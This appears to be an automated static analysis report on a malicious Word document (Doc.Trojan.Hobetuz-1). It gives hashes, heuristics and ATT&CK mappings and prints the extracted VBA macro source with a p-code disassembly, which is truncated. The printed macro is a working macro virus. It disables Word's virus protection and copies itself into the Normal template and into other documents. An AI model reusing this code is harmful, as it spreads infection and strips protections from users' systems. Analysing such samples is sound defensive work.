Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b39e5997c5725566…

MALICIOUS

Office (OLE)

26.5 KB Created: 1980-01-11 06:57:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f95a2175d4d7bfe64df2bf8aa4cb2498 SHA-1: 9ac91807d2695e84170cf7d518d022d54642ed46 SHA-256: b39e5997c5725566f7f6ac3d9549bfcd7b168821b68c6a0d2545740e5d22a133
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoOpen and AutoClose macros are present, suggesting an attempt to infect the Normal template or spread to other documents. The ClamAV detection as 'Doc.Trojan.Hobetuz-1' further confirms its malicious nature. The script attempts to disable virus protection and manipulate macros, indicating a downloader or dropper functionality.

Heuristics 5

  • ClamAV: Doc.Trojan.Hobetuz-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hobetuz-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5362 bytes
SHA-256: 9b0dc17434fffd60ea8bd4a592a9e496b89758701bb8afa54eccbcaada1c22b2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Sub AutoClose()
Sub AutoOpen()
   Dim LineasPlantilla As Integer, LineasDoc As Integer
   
   Options.VirusProtection = False: Options.SaveNormalPrompt = False: Options.ConfirmConversions = False
   LineasDoc = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
   LineasPlantilla = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
   If LineasPlantilla > 10 And LineasDoc > 10 Then GoTo Salir
   If LineasPlantilla < 10 Then
      ActiveDocument.VBProject.VBComponents.Item(1).Name = NormalTemplate.VBProject.VBComponents.Item(1).Name
      NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
      NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 3, "Sub AutoClose()"
   Else
      If LineasDoc = 0 Then
         ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
         ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
         ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 3, "Sub AutoOpen()"
      End If
   End If
   If (Len(ActiveDocument.Name) > 20) Then MsgBox "Hola AMAIA, you gotta virus", 48, "(======Hobetuz======)  ;-)"
Salir:
End Sub

' Processing file: /opt/analyzer/scan_staging/33b4c6862a85460798cb5576c2b6d42e.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2756 bytes
' Line #0:
' 	Option  (Explicit)
' Line #1:
' 	FuncDefn (Sub AutoClose())
' Line #2:
' 	FuncDefn (Sub AutoOpen())
' Line #3:
' 	Dim 
' 	VarDefn LineasPlantilla (As Integer)
' 	VarDefn LineasDoc (As Integer)
' Line #4:
' Line #5:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' 	BoS 0x0000 
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #6:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St LineasDoc 
' Line #7:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St LineasPlantilla 
' Line #8:
' 	Ld LineasPlantilla 
' 	LitDI2 0x000A 
' 	Gt 
' 	Ld LineasDoc 
' 	LitDI2 0x000A 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo Salir 
' 	EndIf 
' Line #9:
' 	Ld LineasPlantilla 
' 	LitDI2 0x000A 
' 	Lt 
' 	IfBlock 
' Line #10:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemSt New 
' Line #11:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #12:
' 	LitDI2 0x0003 
' 	LitStr 0x000F "Sub AutoClose()"
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall ReplaceLine 0x0002 
' Line #13:
' 	ElseBlock 
' Line #14:
' 	Ld LineasDoc 
' 	Lit
... (truncated)